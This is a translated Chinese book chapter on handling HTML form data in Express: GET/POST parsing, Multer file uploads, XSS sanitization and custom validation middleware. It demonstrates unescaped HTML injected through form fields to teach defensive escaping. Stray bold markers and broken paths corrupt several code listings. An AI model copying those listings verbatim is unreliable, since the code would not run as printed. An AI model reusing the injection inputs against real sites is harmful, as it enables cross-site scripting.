<!DOCTYPE html>
<html>
    <head>
        <script src="img/bundle.js"></script>
        <link href="css/bootstrap.min.css" rel="stylesheet" />
    </head>
    <body>
        <form>
            <div class="m-2">
                <label class="form-label">Name</label>
                <input name="name" class="form-control" />
            </div>
            <div class="m-2">
                <label class="form-label">City</label>
                <input name="city" class="form-control" />
            </div>
        </form>
    </body>
</html> 

HTML 文档包含一个简单的 HTML 表单,要求用户输入他们的姓名和城市。为了将处理表单的代码与应用程序的其他部分分开,请将一个名为 forms.ts 的文件添加到 src/server 文件夹中,其内容如 列表 11.4 所示。您不需要将表单代码分开;我这样做只是为了使示例更容易理解。

列表 11.4:src/server 文件夹中 forms.ts 文件的内容

import { Express } from "express";
export const registerFormMiddleware = (app: Express) => {
    // no middleware yet
}
export const registerFormRoutes = (app: Express) => {
    // no routes yet
} 

列表 11.5 更新服务器以使用 列表 11.4 中定义的函数。

列表 11.5:在 src/server 文件夹中的 server.ts 文件中配置服务器

import { createServer } from "http";
import express, {Express } from "express";
import { testHandler } from "./testHandler";
import httpProxy from "http-proxy";
import helmet from "helmet";
import { engine } from "express-handlebars";
import * as helpers from "./template_helpers";
**import { registerFormMiddleware, registerFormRoutes } from "./forms";**
const port = 5000;
const expressApp: Express = express();
const proxy = httpProxy.createProxyServer({
    target: "http://localhost:5100", ws: true
});
expressApp.set("views", "templates/server");
expressApp.engine("handlebars", engine());
expressApp.set("view engine", "handlebars");
expressApp.use(helmet());
expressApp.use(express.json());
**registerFormMiddleware(expressApp);**
**registerFormRoutes(expressApp);**
expressApp.get("/dynamic/:file", (req, resp) => {
    resp.render(`${req.params.file}.handlebars`,
        { message: "Hello template", req, helpers: { ...helpers } });
});
expressApp.post("/test", testHandler);
expressApp.use(express.static("static"));
expressApp.use(express.static("node_modules/bootstrap/dist"));
expressApp.use((req, resp) => proxy.web(req, resp));
const server = createServer(expressApp);
server.on('upgrade', (req, socket, head) => proxy.ws(req, socket, head));
server.listen(port,
    () => console.log(`HTTP Server listening on port ${port}`)); 

列表 11.6 从服务器端模板使用的布局中删除了一个辅助程序,并添加了一个由 webpack 创建的 JavaScript 包的 script 元素。本章的一些示例依赖于模板,删除辅助程序简化了模板渲染,而添加 script 元素将允许在从模板生成的内容中使用客户端代码。

列表 11.6:更改 templates/server/layouts 文件夹中的 main.handlebars 文件中的元素

<!DOCTYPE html>
<html>
    <head>
        **<script src="img/strong>**/bundle.js"></script>** 
 **<link href="css/bootstrap.min.css" rel="stylesheet" />**
    </head>
    <body>
        {{{ body }}}
    </body>
</html>** 

最后,在 part2app 文件夹中创建一个名为 data.json 的文件,其内容如 列表 11.7 所示。此文件将用于演示如何使用表单将文件发送到服务器

列表 11.7:part2app 文件夹中 data.json 文件的内容

[
    { "city": "London", "population": 8982000 },
    { "city": "Paris", "population": 2161000 },
    { "city": "Beijing", "population": 21540000 }
] 

part2app 文件夹中运行 列表 11.8 中显示的命令以启动开发工具并开始监听 HTTP 请求。

列表 11.8:启动开发工具

npm start 

打开一个网页浏览器并请求 http://localhost:5000。您将看到 列表 11.3 中定义的表单元素,其外观已使用 Bootstrap CSS 包进行样式化,如图 图 11.1 所示。

图 11.1:运行示例应用程序

接收表单数据

表单数据可以使用 HTTP GETPOST 请求发送,方法的选择决定了表单中包含的数据如何呈现。列表 11.9 完成表单以指定表单数据将发送到的 URL,并添加了使用不同 HTTP 方法提交表单数据的按钮。

列表 11.9:在静态文件夹中的 index.html 文件中完成表单

<!DOCTYPE html>
<html>
    <head>
        <script src="img/bundle.js"></script>
        <link href="css/bootstrap.min.css" rel="stylesheet" />
    </head>
    <body>
       ** <form action="/form">**
            <div class="m-2">
                <label class="form-label">Name</label>
                <input name="name" class="form-control" />
            </div>
            <div class="m-2">
                <label class="form-label">City</label>
                <input name="city" class="form-control" />
            </div>                                    
            **<div class="m-2">**
 **<button class="****btn btn-primary" formmethod="get">**
 **Submit (GET)**
 **</button>**
 **<button class="btn btn-primary"** **formmethod="post">**
 **Submit (POST)**
 **</button>**
 **</div>**
        </form>
    </body>
</html> 

form 元素上的 action 属性元素告诉浏览器将表单数据发送到 /form URL。button 元素配置了 formmethod 属性,该属性指定浏览器应使用哪种 HTTP 方法。

注意

我正在使用应用于 button 元素的属性,以便以不同的方式处理相同表单数据。在后续的示例中,我采用了一种更传统的方法,并使用应用于 form 元素的属性。

从 GET 请求接收表单数据

GET 请求是接收表单数据的最简单方式,因为浏览器会将表单字段名称和值包含在 URL 查询字符串中。列表 11.10 定义了一个处理表单 GET 请求的处理程序。

清单 11.10:在 src/server 文件夹中的 forms.ts 文件中处理 GET 请求

import { Express } from "express";
export const registerFormMiddleware = (app: Express) => {
    // no middleware yet
}
export const registerFormRoutes = (app: Express) => {
  **  app.get("****/form", (req, resp) => {**
 **for (const key in req.query) {**
 **resp.write(`${key}****: ${req.query[key]}\n`);** 
 **}**
 **resp.end();**
 **});**
} 

该路由使用 get 方法匹配发送到 /form URL 的 GET 请求。Express 解码 URL 查询字符串并通过 Request.query 属性呈现。在 清单 11.10 中,查询字符串参数和值用于生成响应。使用浏览器请求 http://localhost:5000,使用 Alice Smith 作为姓名和 London 作为城市填写表单,然后点击 提交 (GET) 按钮。

浏览器将向 /form URL 发送 GET 请求,并包含在表单中输入的值,如下所示:

http://localhost:5000/form?name=Alice+Smith&city=London 

数据将被服务器接收,查询字符串将被解析,表单数据将用于响应,如图 图 11.2 所示。

图 11.2:处理来自 GET 请求的表单数据

GET 请求的限制是它们必须是 幂等的,这意味着针对给定 URL 的每个请求都应该始终产生相同的效果,并始终返回相同的结果。换句话说,与 GET 请求一起发送的表单数据实际上是读取数据的请求,这些数据不期望随着每个请求而改变。

这很重要,因为 HTTP 缓存被允许存储 GET 请求的响应并使用它们来响应对同一 URL 的请求,这意味着某些请求可能不会被后端服务器接收。因此,大多数表单数据都是通过 POST 请求发送的,这些请求不会被缓存,但可能更复杂。

接收来自 POST 请求的表单数据

HTTP POST 请求在请求体中包含表单数据,在可以使用之前必须读取并解码。清单 11.11 添加了一个处理 POST 请求的路由,读取体并将其用作响应。

清单 11.11:在 src/server 文件夹中的 form.ts 文件中添加处理器

import { Express } from "express";
export const registerFormMiddleware = (app: Express) => {
    // no middleware yet
}
export const registerFormRoutes = (app: Express) => {
    app.get("/form", (req, resp) => {
        for (const key in req.query) {
            resp.write(`${key}: ${req.query[key]}\n`);           
        }
        resp.end();
    });
   ** app.post("/form", (req, resp) => {**
 **resp.write****(`Content-Type: ${req.headers["content-type"]}\n`)**
 **req.pipe(resp);**
 **});**
} 

Node.js 和 Express 从 HTTP 请求中读取标头,并保留体以便它可以作为流读取。清单 11.11 中的新路由匹配发送到 /formPOST 请求,并创建包含请求的 Content-Type 标头和请求体的响应。

使用浏览器请求 http://localhost:5000,使用与上一节相同的详细信息填写表单,然后点击 提交 (POST) 按钮。浏览器将发送一个包含请求体中表单数据的 POST 请求到服务器,生成如图 图 11.3 所示的响应。

图 11.3:处理来自 POST 请求的表单数据

浏览器已将 Content-Type 标头设置为 application/x-www-form-urlencoded,这表示表单数据值以与数据包含在查询字符串中相同的方式进行编码,使用 = 字符分隔名称-值对,并用 & 字符组合,如下所示:

...
name=Alice+Smith&city=London
... 

您可以自己解码表单数据,但 Express 包含一个中间件,它可以检测 Content-Type 标头并将表单数据解码成一个键/值映射。列表 11.12 启用了中间件并使用它生成的数据在响应中。

列表 11.12:在 src/server 文件夹中的 forms.ts 文件中使用 Express 中间件

import express, { Express } from "express";
export const registerFormMiddleware = (app: Express) => {
    **app.use(express.urlencoded({extended: true}))**
}
export const registerFormRoutes = (app: Express) => {
    app.get("/form", (req, resp) => {
        for (const key in req.query) {
            resp.write(`${key}: ${req.query[key]}\n`);           
        }
        resp.end();
    });
    app.post("/form", (req, resp) => {
        resp.write(`Content-Type: ${req.headers["content-type"]}\n`)
        **for (const key in req.body) {**
 **resp.write(`****${key}: ${req.body[key]}\n`);** 
 **}** 
 **resp.end();**
    });
} 

中间件组件是通过 Express.urlencoded 方法创建的,并使用所需的 extended 配置选项来指定是否使用与解析查询字符串相同的库来处理请求体,或者,如这里所示,使用一个更复杂的选项,允许处理更复杂的数据类型。

要查看解码后的数据,请请求 http://localhost:5000,填写表单,并点击 提交POST)按钮。将显示单个表单元素名称和值,而不是 URL 编码的字符串,如下所示:

...
Content-Type: application/x-www-form-urlencoded
**name: Alice Smith**
**city: London**
... 

接收多部分数据

application/x-www-form-urlencoded 格式是默认格式,适用于从用户那里收集基本数据值。对于用户提交文件的表单,使用 multipart/form-data 格式,这种格式更复杂,但允许在 HTTP 请求体中发送多种数据类型。列表 11.13 添加了一个 input 元素,允许用户选择文件,并在使用 multipart/form-data 格式提交数据的 HTML 表单中添加了一个按钮。

列表 11.13:在静态文件夹中的 index.html 文件中添加元素

<!DOCTYPE html>
<html>
    <head>
        <script src="img/bundle.js"></script>
        <link href="css/bootstrap.min.css" rel="stylesheet" />
    </head>
    <body>
        <form action="/form">
            <div class="m-2">
                <label class="form-label">Name</label>
                <input name="name" class="form-control" />
            </div>
           ** <div class="m-2">**
 **<label class****="form-label">City</label>**
 **<input name="city" class="form-control" />**
**</div> **                 
            <div class="m-2">
                <label class="form-label">File</label>
                <input name="datafile" type="file" class="form-control" />
            </div>
            <div class="m-2">
                <button class="btn btn-primary" formmethod="get">
                    Submit (GET)
                </button>
                <button class="btn btn-primary" formmethod="post">
                    Submit (POST)
                </button>
                **<button class="btn btn-primary" formmethod="post"**
 **formenctype="multipart/form-data"****>**
 **Submit (POST/MIME)**
 **</button>**
            </div>
        </form>
    </body>
</html> 

新的 input 元素有一个设置为 filetype 属性,这告诉浏览器应该向用户展示一个选择文件的元素。

列表 11.14 更新了表单处理程序,以便 application/x-www-form-urlencodedmultipart/form-data 请求被不同地处理,这对于影响浏览器处理文件的方式非常重要。

列表 11.14:在 src/server 文件夹中的 forms.ts 文件中选择内容类型

import express, { Express } from "express";
export const registerFormMiddleware = (app: Express) => {
    app.use(express.urlencoded({extended: true}))
}
export const registerFormRoutes = (app: Express) => {
    app.get("/form", (req, resp) => {
        for (const key in req.query) {
            resp.write(`${key}: ${req.query[key]}\n`);           
        }
        resp.end();
    });
    app.post("/form", (req, resp) => {
        resp.write(`Content-Type: ${req.headers["content-type"]}\n`)
        **if (req.headers["content-type"]?.startsWith("multipart/form-data"****)) {**
 **req.pipe(resp);**
 **} else {**
            for (const key in req.body) {
                resp.write(`${key}: ${req.body[key]}\n`);           
            }       
            resp.end();
        }
    });
} 

使用浏览器请求 http://localhost:5000 并填写表单,选择本章开头创建的 data.json 文件作为 文件 字段。表单编码决定了浏览器如何处理文件。点击 提交POST)以使用 application/x-www-form-urlencoded 编码发送表单,点击 提交(POST/MIME)按钮以使用 multipart/form-data 编码发送表单。两种结果都显示在 图 11.4 中。

图 11.4:以不同编码发送表单数据

对于 application/x-www-form-urlencoded 编码,浏览器只包括文件名,如下所示:

...
Content-Type: application/x-www-form-urlencoded
name: Alice
city: London
**datafile: data.json**
... 

multipart/form-data 编码确实包括文件内容,但为了这样做,请求体的结构变得更加复杂,如下所示:

...
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary41AOY4gvNpCTJzUy
------WebKitFormBoundary41AOY4gvNpCTJzUy
Content-Disposition: form-data; name="name"
Alice
------WebKitFormBoundary41AOY4gvNpCTJzUy
Content-Disposition: form-data; name="city"
London
------WebKitFormBoundary41AOY4gvNpCTJzUy
Content-Disposition: form-data; name="datafile"; filename="data.json"
Content-Type: application/json
[
    { "city": "London", "population": 8982000 },
    { "city": "Paris", "population": 2161000 },
    { "city": "Beijing", "population": 21540000 }
]
------WebKitFormBoundary41AOY4gvNpCTJzUy--
... 

请求体包含多个部分,每个部分都由一个边界字符串分隔,该字符串包含在 Content-Type 标头中:

...
Content-Type: multipart/form-data; b**oundary=----WebKitFormBoundary41AOY4gvNpCTJzUy**
... 

每个正文部分可以包含不同类型的数据,并附带描述内容的头信息。在文件正文部分的情况下,头信息提供了表单字段赋予的名称、已选择的文件名称以及文件中的内容类型:

...
Content-Disposition: form-data; name="datafile"; filename="data.json"
Content-Type: application/json
... 

multipart/form-data 编码可以手动解码,但这不是一个好主意,因为多年来已经出现了许多不符合规范的实现,这些实现需要特殊处理或解决方案。Express 不包括内置的 multipart/form-data 请求处理支持,但有几个 JavaScript 包可以做到这一点。一个选项是 Multer (github.com/expressjs/multer,它与 Express 工作得很好)。运行 列表 11.15 中显示的命令来安装 Multer 包以及描述它为 TypeScript 提供的 API 的类型定义。

列表 11.15:安装包

npm install multer@1.4.5-lts.1
npm install --save-dev @types/multer@1.4.11 

列表 11.16 配置了 Multer 包并将其应用于表单处理器。

列表 11.16:在 src/server 文件夹中的 forms.ts 文件中处理多部分请求

import express, { Express } from "express";
**import multer from "multer";**
**const fileMiddleware = multer({storage: multer.memoryStorage()});**
export const registerFormMiddleware = (app: Express) => {
    app.use(express.urlencoded({extended: true}))
}
export const registerFormRoutes = (app: Express) => {
    app.get("/form", (req, resp) => {
        for (const key in req.query) {
            resp.write(`${key}: ${req.query[key]}\n`);
        }
        resp.end();
    });
 **   app.post("/form", fileMiddleware.single("datafile"), (req, resp) => {**
        resp.write(`Content-Type: ${req.headers["content-type"]}\n`)
        for (const key in req.body) {
            resp.write(`${key}: ${req.body[key]}\n`);
        }
       ** if (req.file) {**
 **resp.write(`---\nFile: ${req.file.originalname}\n`);**
 **resp.write(req.file.****buffer.toString());** 
 **}**

        resp.end();
    });
} 

在可以使用 Multer 之前,必须告诉它可以存储它接收到的文件的位置。该包提供了两种存储选项,即将文件写入磁盘文件夹或将文件数据存储在内存中。如 第一部分 中所述,写入文件系统时必须小心,应尽可能避免。如果您确实需要存储用户数据,那么我的建议是使用数据库,如 第十二章 中所述。

列表 11.16 使用基于内存的存储选项创建一个中间件组件,该组件将处理 multipart/form-data 请求。与大多数其他中间件不同,Multer 包应用于特定的路由,以防止恶意用户在预期之外的路由上上传文件:

...
app.post("/form", **fileMiddleware.single("datafile")**, (req, resp) => {
... 

此语句将 Multer 中间件应用于仅一个路由,并查找名为 datafile 的字段中的文件,该字段与 HTML 表单中 input 元素的名称属性匹配。

中间件读取请求正文,并通过 file 属性创建一个可以读取上传文件详细信息的接口,其中最有用的属性在 表 11.3 中描述。非文件正文部分将通过 body 属性呈现。

表 11.3:有用的文件描述属性

名称 描述

|

`originalname` 
此属性返回用户系统上文件的名称。

|

`size` 
此属性返回文件的字节数。

|

`mimetype` 
此属性返回文件的 MIME 类型。

|

`buffer` 
此属性返回包含整个文件的 Buffer。

要查看中间件的效果,请请求 http://localhost:5000,填写 namecity 表单字段,选择 data.json 文件,然后点击 提交POST/MIME)按钮。响应包括正文和文件属性的值,如 图 11.5 所示。

图片 B21959_11_05.png

图 11.5:上传文件

清理表单数据

不仅应该对用户发送的文件保持警惕:任何数据都有可能引起问题。最常见的问题是跨站脚本攻击(XSS),其中数据值被精心制作,以便浏览器将其解释为 HTML 元素或 JavaScript 代码。在 第七章 中,我演示了如何使用内容安全策略(CSP)来帮助防止 XSS,通过告诉浏览器应用程序预期如何行为。但另一个很好的措施是对从用户那里接收到的数据进行清理,以确保它不包含浏览器在显示给其他用户时意外解释的字符。为了准备,清单 11.17 更改了表单处理程序,使其返回 HTML 响应。

清单 11.17:在 src/server 文件夹中的 forms.ts 文件中返回 HTML 响应

import express, { Express } from "express";
import multer from "multer";
const fileMiddleware = multer({storage: multer.memoryStorage()});
export const registerFormMiddleware = (app: Express) => {
    app.use(express.urlencoded({extended: true}))
}
export const registerFormRoutes = (app: Express) => {
    app.get("/form", (req, resp) => {
        for (const key in req.query) {
            resp.write(`${key}: ${req.query[key]}\n`);           
        }
        resp.end();
    });
    app.post("/form", fileMiddleware.single("datafile"), (req, resp) => {
    **    resp.setHeader("Content-Type", "text/html");**
**for (const key in req.body) {**
 **resp.write(`<div>${key}: ${req.body[key]}</div>`);** 
 **}** 
 **if (req.file) {**
 **resp.****write(`<div>File: ${req.file.originalname}</div>`);**
 **resp.write(`<div>${req.file.buffer.toString()}</div>`);** 
 **}**

 **resp.end();**
    });
} 

通过请求 http://localhost:5000,使用与之前示例相同的详细信息填写表单,并点击 提交(POST/MIME) 按钮,你可以看到 HTML 输出的简单和未加样式,如图 图 11.6 所示。

图 11.6:生成 HTML 响应

要查看不安全内容的效果,请回到 http://localhost:5000 并使用 表 11.4 中的值填写表单。

表 11.4:不安全的内容值

字段 描述
名称
`<link href="css/bootstrap.min.css" rel="stylesheet" />` 

|

城市
`<a class="btn btn-primary" href="http://packt.com">Click Me!</a>` 

|

点击 提交(POST/MIME),表单中输入的值将被包含在响应中,浏览器将其解释为 Bootstrap CSS 样式表的 link 元素和一个样式化为按钮的锚点元素,它将请求不属于应用程序的 URL,如图 图 11.7 所示。

图 11.7:显示不安全内容的效果

清理过程涉及将表示 HTML 内容的字符替换为显示相同字符的转义序列。表 11.5 列出了通常需要清理的字符及其替换的转义序列。

表 11.5:不安全字符和转义序列

不安全字符 转义序列

|

`&` 

|

`&amp;` 

|

|

`<` 

|

`&lt;` 

|

|

`>` 

|

`&gt;` 

|

|

`=` 

|

`&#x3D;` 

|

|

`" (double quotes)` 

|

`&quot;` 

|

|

`' (single quote)` 

|

`&#x27;` 

|

|

`` ` (back tick) `` 

|

`&#x60;` 

|

将名为 sanitize.ts 的文件添加到 src/server 文件夹中,其内容如 清单 11.18 所示。

清单 11.18:src/server 文件夹中 sanitize.ts 文件的内容

const matchPattern = /[&<>="'`]/g;
const characterMappings: Record<string, string> = {
    "&": "&amp;",
    "<": "&lt;",
    ">": "&gt;",
    "\"": "&quot;",
    "=": "&#x3D;",   
    "'": "&#x27;",
    "`": "&#x60;"
};
export const santizeValue = (value: string) =>
    value?.replace(matchPattern, match => characterMappings[match]); 

sanitizeValue 函数将一个模式应用于字符串以查找危险字符,并将它们替换为安全的转义序列。数据值在包含在 HTML 响应中时会被清理。这通常作为模板过程的一部分完成——我将很快演示——但 清单 11.19sanitizeValue 函数应用于 HTML 响应中包含的值。

清单 11.19:在 src/server 文件夹中的 forms.ts 文件中清理输出值

import express, { Express } from "express";
import multer from "multer";
**import { santizeValue } from "./sanitize";**
const fileMiddleware = multer({storage: multer.memoryStorage()});
export const registerFormMiddleware = (app: Express) => {
    app.use(express.urlencoded({extended: true}))
}
export const registerFormRoutes = (app: Express) => {
    app.get("/form", (req, resp) => {
        for (const key in req.query) {
           ** resp.write(`${key}: ${req.query[key]}\n`); **          
        }
        resp.end();
    });
    app.post("/form", fileMiddleware.single("datafile"), (req, resp) => {
        resp.setHeader("Content-Type", "text/html");
        for (const key in req.body) {
            **resp.write****(`<div>${key}: ${ santizeValue( req.body[key])}</div>`);**
        }       
        if (req.file) {
            resp.write(`<div>File: ${req.file.originalname}</div>`);
            **resp.write****(`<div>${santizeValue(req.file.buffer.toString())}</div>`);**
        }

        resp.end();
    });
} 

使用浏览器请求 http://localhost:5000,填写 表 11.5 中的详细信息,并点击 提交(POST/MIME) 按钮。从用户接收到的值在包含在 HTML 响应中时会被清理,以便浏览器可以显示字符串而不将其解释为有效元素,如 图 11.8 所示。

图 11.8:清理数据值

反复清理数据

您必须确保数据被清理,但您应该只清理一次。如果数据被反复清理,那么 & 字符将被反复转义。如果您从一个不安全的字符串开始,例如:

`<link href="css/bootstrap.min.css" rel="stylesheet" />` 

并对其进行清理,结果将如下所示:

`&lt;link href&#x3D;&quot;css/bootstrap.min.css&quot; rel&#x3D;&quot;stylesheet&quot; /&gt;` 

危险字符已被转义,但浏览器将解释转义序列,使得字符串看起来像原始字符串,但不会将其解释为 HTML 元素。如果再次清理字符串,已经是转义序列一部分的 & 字符将被替换为 &amp;,产生以下结果:

`&amp;lt;link href&amp;#x3D;&amp;quot;css/bootstrap.min.css&amp;quot; rel&amp;#x3D;&amp;quot;stylesheet&amp;quot; /&amp;gt;` 

浏览器无法正确解释转义序列,并将显示一个混乱的字符串。

大多数模板包在渲染模板时都会自动清理数据值,这包括在 第十章 中添加到项目中的 Handlebars 包。将一个名为 formData.handlebars 的文件添加到 templates/server 文件夹中,其内容如 列表 11.20 所示。

列表 11.20:templates/server 文件夹中 formData.handlebars 文件的内容

<table class="table table-sm table-striped">
    <thead>
        <tr><th>Field</th><th>Value</th></tr>
    </thead>
    <tbody>
        <tr><td>Name:</td><td>{{ name }} </td></tr>
        <tr><td>City:</td><td>{{ city }} </td></tr>
        <tr><td>File:</td><td>{{ fileData }} </td></tr>
    </tbody>
</table> 

Handlebars 自动在 {{}} 表达式中清理数据值,使其在 HTML 响应中包含时更安全。列表 11.21 更新了表单请求处理程序以使用新的模板。

列表 11.21:在 server/src 文件夹中的 forms.ts 文件中使用模板

import express, { Express } from "express";
import multer from "multer";
import { santizeValue } from "./sanitize";
const fileMiddleware = multer({storage: multer.memoryStorage()});
export const registerFormMiddleware = (app: Express) => {
    app.use(express.urlencoded({extended: true}))
}
export const registerFormRoutes = (app: Express) => {
    app.get("/form", (req, resp) => {
        for (const key in req.query) {
            resp.write(`${key}: ${req.query[key]}\n`);           
        }
        resp.end();
    });
    app.post("/form", fileMiddleware.single("datafile"), (req, resp) => {
        **resp.render****("formData", {**
 **...req.body, file: req.file,**
 **fileData: req.file?.buffer.toString()**
 **});**
    });
} 

传递给模板的上下文对象包含来自 bodyfile 对象的属性以及一个 fileData 属性,它提供了对文件数据的直接访问,因为 Handlebars 不会在模板中评估代码片段。请求 http://localhost:5000,使用 表 11.21 中的详细信息填写表单,并点击 提交(POST/MIME) 按钮,您将看到模板包含安全值,如 图 11.9 所示。

提示

Handlebars 将始终在 {{ }} 表达式中清理数据值。如果您想在不进行清理的情况下包含数据,请使用 {{{}}} 字符序列,如 第十章 中所示。

图 11.9:使用模板清理数据值

注意

当与内容安全策略结合使用时,在 HTML 模板中清洗数据是针对 XSS 攻击的良好基本防御措施。但这并不全面,潜在问题可能仍然存在,例如在将用户数据值插入由浏览器执行的 JavaScript 代码中。避免此类问题的良好清单可以在 cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html 找到。

验证表单数据

清洗数据可以帮助防止恶意值显示给用户,但这并不意味着你接收到的数据将是有用的。用户可能会在表单中输入几乎所有内容,有时是因为真正的错误,但大多数情况下是因为表单是用户与其目标之间的一个不受欢迎的障碍,无论这个目标是什么。

结果是,从表单接收到的数据必须进行 验证,这是一个确保数据可以被应用程序使用并告知用户何时接收到无效数据的过程。使用模板进行表单验证最为简单,因为它使得在出现问题时向用户提供反馈变得容易。为了准备验证,将一个名为 age.handlebars 的文件添加到 templates/server 文件夹中,其内容如 列表 11.22 所示。

列表 11.22:在 templates/server 文件夹中的 age.handlebars 文件的内容

<div class="m-2">
    {{#if nextage }}
        <h4>Hello {{name}}. You will be {{nextage}} next year.</h4>
    {{/if }}
</div>
<div>
    <form action="/form" method="post">
        <div class="m-2">
            <label class="form-label">Name</label>
            <input name="name" class="form-control" value="{{name}}"/>
        </div>
        <div class="m-2">
            <label class="form-label">Current Age</label>
            <input name="age" class="form-control" value="{{age}}" />
        </div>                  
        <div class="m-2">
            <button class="btn btn-primary">Submit</button>                               
        </div>
    </form>
</div> 

此模板包含一个询问用户姓名和年龄的表单,以便服务器可以计算他们明年的年龄。这是一个极其简单的应用程序,但它包含了足够的功能,需要验证。列表 11.23 更新了 /form URL 的路由,以使用新的模板。

列表 11.23:在 src/server 文件夹中的 forms.ts 文件中更新路由

import express, { Express } from "express";
**// import multer from "multer";**
**// import { santizeValue } from "./sanitize";**
**//const fileMiddleware = multer({storage: multer.memoryStorage()});**
export const registerFormMiddleware = (app: Express) => {
    app.use(express.urlencoded({extended: true}))
}
export const registerFormRoutes = (app: Express) => {
 **app.get("/form", (req, resp) => {**
 **resp.render("age");**
 **});**
 **app.post("****/form", (req, resp) => {**
 **resp.render("age", {**
 **...req.body,**
 **nextage: Number.parseInt(req.body.****age) + 1**
 **});**
 **});**
} 

get 路由不带有上下文数据渲染年龄模板。post 路由使用表单数据渲染模板,这些数据包含在请求体中,并有一个 nextage 属性,该属性通过将表单接收到的 age 值解析为 Number 并加一来创建。使用浏览器请求 http://localhost:5000/form,在表单中输入姓名和年龄,然后点击 提交 按钮。如果你重复此过程但提供一个非数字年龄,应用程序将无法解析表单数据,并且不会产生结果。这两种结果都在 图 11.10 中展示。

图 11.10:使用表单数据生成结果的程序

应用程序对其接收到的数据有期望,验证是确保这些期望得到满足的过程。

注意

验证是让用户填写表单的一种方式,但你应该花点时间考虑表单是否真的应该存在。如果你想提高用户对应用程序的满意度,那么请保持表单简单明了,只请求完成任务所需的最基本信息。对于复杂数据值(如信用卡号码或日期)的格式,要灵活,并尽可能使验证错误信息清晰易懂。

创建自定义验证器

验证需要一套可以应用于接收到的表单数据的测试集。将一个名为 validation.ts 的文件添加到 src/server 文件夹中,其内容如 清单 11.24 所示。

清单 11.24:src/server 文件夹中 validation.ts 文件的内容

import { NextFunction, Request, Response } from "express";
type ValidatedRequest = Request & {
    validation: {
        results:  { [key: string]: {
            [key: string]: boolean, valid: boolean
        } },
        valid: boolean
    }
}
export const validate = (propName: string) => {
    const tests: Record<string, (val: string) => boolean> = {};
    const handler = (req: Request, resp: Response, next: NextFunction ) => {
        // TODO - perform validation checks
        next();
    }
    handler.required = () => {
        tests.required = (val: string) => val?.trim().length > 0;
        return handler;
    };
    handler.minLength = (min: number) => {
        tests.minLength = (val:string) => val?.trim().length >= min;
        return handler;
    };
    handler.isInteger = () => {
        tests.isInteger = (val: string) => /^[0-9]+$/.test(val);
        return handler;
    }
    return handler;
}
export const getValidationResults = (req: Request) => {
    return (req as ValidatedRequest).validation || { valid : true }
} 

实现验证系统有许多方法,但 清单 11.24 中采用的方法是遵循本书此部分使用的其他包引入的模式,并创建一个向 Request 对象添加属性的 Express 中间件。代码尚未完成,因为它不应用验证检查。但它确实允许定义验证要求,这是一个好起点,因为执行验证所需的代码可能很复杂。

初始代码定义了三个验证规则:requiredminLengthisInteger。真正的验证包,如我在本章后面介绍的那个,有几十种不同的规则,但三个就足以演示表单数据验证的工作原理。required 规则确保用户已提供值,minLength 规则强制最小字符数,而 isInteger 规则确保值是整数。

起始点是给 TypeScript 描述将要添加到 Request 对象的属性,这是验证结果将如何呈现给请求处理器函数的方式:

...
type ValidatedRequest = Request & {
    validation: {
        results:  { [key: string]: {
            [key: string]: boolean, valid: boolean
        } },
        valid: boolean
    }
}
... 

ValidatedRequest 类型具有由 Request 定义的 所有功能,以及一个名为 validation 的属性,该属性返回一个包含 resultsvalid 属性的对象。valid 属性返回一个 boolean 值,给出表单数据验证结果的整体指示。results 属性提供了关于已验证的表单数据字段的详细信息。目标是生成一个看起来像这样的对象:

...
{
  results: {
    name: { valid: false, required: true, minLength: false },
    age: { valid: true, isNumber: true }
  },
  valid: false
}
... 

此对象表示对 nameage 属性进行的验证检查。总体而言,表单数据无效,通过检查细节,你可以看到这是由于 name 属性未能通过验证检查,具体是因为名称值未通过 minLength 规则。

validate 函数返回一个 Express 中间件函数,该函数也有方法,允许通过链式组合属性验证规则来定义验证。getValidationResults 读取请求中添加的 validation 属性,使得在请求处理器中访问验证数据变得容易。

应用验证规则

创建一个既有方法又有函数的函数利用了 JavaScript 的灵活性,因此可以通过调用 validate 方法来选择表单字段,然后可以在结果上调用方法来指定验证规则。这不是必需的,但它确实允许简洁地表达验证要求,如图 列表 11.25 所示。

列表 11.25:在 src/server 文件夹中的 forms.ts 文件中定义验证规则

import express, { Express } from "express";
**import { getValidationResults, validate } from "****./validation";**
export const registerFormMiddleware = (app: Express) => {
    app.use(express.urlencoded({extended: true}))
}
export const registerFormRoutes = (app: Express) => {
    app.get("/form", (req, resp) => {
       **resp.render("age", {** **helpers: { pass }});**
    });
    app.post("/form",
           ** validate("name").required().minLength(5),**
 **validate("age").****isInteger(),**
        (req, resp) => {
            **const validation = getValidationResults(req);**
 **const context = { ...req.body, validation,**
 **helpers: { pass }**
 **};**
 **if (validation.****valid) {**
 **context.nextage = Number.parseInt(req.body.age) + 1;**
 **}**
 **resp.render("age", context);** 
        });
}
**const** **pass = (valid: any, propname: string, test: string ) => {**
 **let propResult = valid?.results?.[propname];**
 **return `display:${!propResult || propResult[test] ? "none" : "block" }`;**
} 

调用规则方法的结果是定义它的处理函数,这意味着可以通过链式调用方法来选择多个规则。列表 11.25requiredminLength 规则应用到 name 字段,将 isInteger 规则应用到 age 字段。

在处理函数内部调用 getValidationResults 函数以获取验证结果,这些结果用于更改用于渲染视图的上下文对象,以便仅在收到用户的有效数据时才执行(简单的)计算。

验证结果包含在模板上下文对象中,这允许模板助手检查结果并控制验证错误元素的可见性。显示错误给用户的元素将始终存在于模板中,列表 11.25 定义了一个名为 pass 的模板助手,它将被用来控制可见性。

列表 11.26 更新了模板以包含错误消息元素。

列表 11.26:在模板文件夹中的 age.handlebars 文件中添加验证消息

<div class="m-2">
   ** {{#if validation.valid }}**
        <h4>Hello {{name}}. You will be {{nextage}} next year.</h4>
    {{/if }}
</div>
<div>
   ** <form id="age_form" action="/form" method="post">**
        <div class="m-2">
            <label class="form-label">Name</label>
            <input name="name" class="form-control" value="{{name}}"/>
            **<div class="****text-danger" id="err_name_required"**
 **style="{{ pass validation 'name' 'required' }}">**
 **Please enter your name**
 **</div>**
 **<div class="****text-danger" id="err_name_minLength"**
 **style="{{ pass validation 'name' 'minLength' }}">**
 **Enter at least 5 characters**
 **</div>**
        </div>
        <div class="m-2">
            <label class="form-label">Current Age</label>
            <input name="age" class="form-control" value="{{age}}" />
            **<div class****="text-danger" id="err_age_isInteger"**
 **style="{{ pass validation 'age' 'isInteger' }}">**
 **Please enter your age in whole years**
 **</div>**
        </div>
        <div class="m-2">
            <button class="btn btn-primary">Submit</button>
        </div>
    </form>
